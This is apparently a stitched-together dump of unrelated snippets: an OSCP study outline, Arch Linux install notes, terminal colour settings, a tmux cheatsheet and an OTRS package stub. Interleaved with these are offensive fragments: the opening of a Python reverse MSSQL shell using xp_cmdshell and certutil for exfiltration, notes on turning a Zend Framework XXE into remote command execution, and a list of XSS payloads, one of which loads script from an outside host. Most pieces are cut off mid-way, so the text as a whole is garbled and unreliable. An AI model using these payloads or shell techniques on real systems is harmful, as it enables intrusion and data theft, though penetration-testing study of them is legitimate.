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How to pass the OSCP

1. Recon
2. Find vuln
3. Exploit
4. Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

r3k2

Installing Arch:


sudo vim /etc/pacman.conf
Update packages list: sudo pacman -Syy
run sudo pacman -Syu  before installing any software (to update the repositories first)

* Timing issue:
    - Change hardware clock to use UTC time:
        sudo timedatectl set-local-rtc 0

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# for background in 16 color terminal, valid background colors include:
# base03, bg, black, any of the non brights

# style notes:
# when bg=235, that's a highlighted message
# normal bg=233

# basic colors ---------------------------------------------------------
# color normal        brightyellow    default
color error         color196        color235                        # message line error text

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import sys
import requests
import threading
import HTMLParser
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

'''
Description: Reverse MSSQL shell through xp_cmdshell + certutil for exfiltration
Author: @xassiz
'''

r3k2

This turns https://www.sec-consult.com/files/20120626-0_zend_framework_xxe_injection.txt 
into a Remote Command Execution:

NOTE: It relies on the PHP expect module being loaded 
(see http://de.php.net/manual/en/book.expect.php)

joern@vbox-1:/tmp$ cat /var/www/server.php 
<?
    require_once("/usr/share/php/libzend-framework-php/Zend/Loader/Autoloader.php");
    Zend_Loader_Autoloader::getInstance();

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# OBJECTIVE:  Install Arch Linux with encrypted root and swap filesystems and boot from UEFI.

# Note:  This method supports both dedicated Arch installs and those who wish to install Arch on a multi-OS-UEFI booting system.

# The official Arch installation guide contains details that you should refer to during this installation process.
# That guide resides at:  https://wiki.archlinux.org/index.php/Installation_Guide

# Download the archlinux-*.iso image from https://www.archlinux.org/download/ and its GnuPG signature.
# Use gpg --verify to ensure your archlinux-*.iso is exactly what the Arch developers intended.  For example:

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';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>

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<?xml version="1.0" encoding="utf-8" ?>
<otrs_package version="1.1">
	<Name>MyModule</Name>
	<Version>1.0.0</Version>
	<Vendor>My Module</Vendor>
	<URL>http://otrs.org/</URL>
	<License>GNU GENERAL PUBLIC LICENSE Version 2, June 1991</License>
	<ChangeLog Version="1.0.1" Date="2006-11-11 11:11:11">My Module.</ChangeLog>
	<Description Lang="en">MyModule</Description>
	<Framework>5.x.x</Framework>

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#!/bin/sh
#
#      `7MN.   `7MF'       
# __,    MMN.    M         
#`7MM    M YMb   M  pd""b. 
#  MM    M  `MN. M (O)  `8b
#  MM    M   `MM.M      ,89
#  MM    M     YMM    ""Yb.
#.JMML..JML.    YM       88
#                  (O)  .M'

r3k2

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname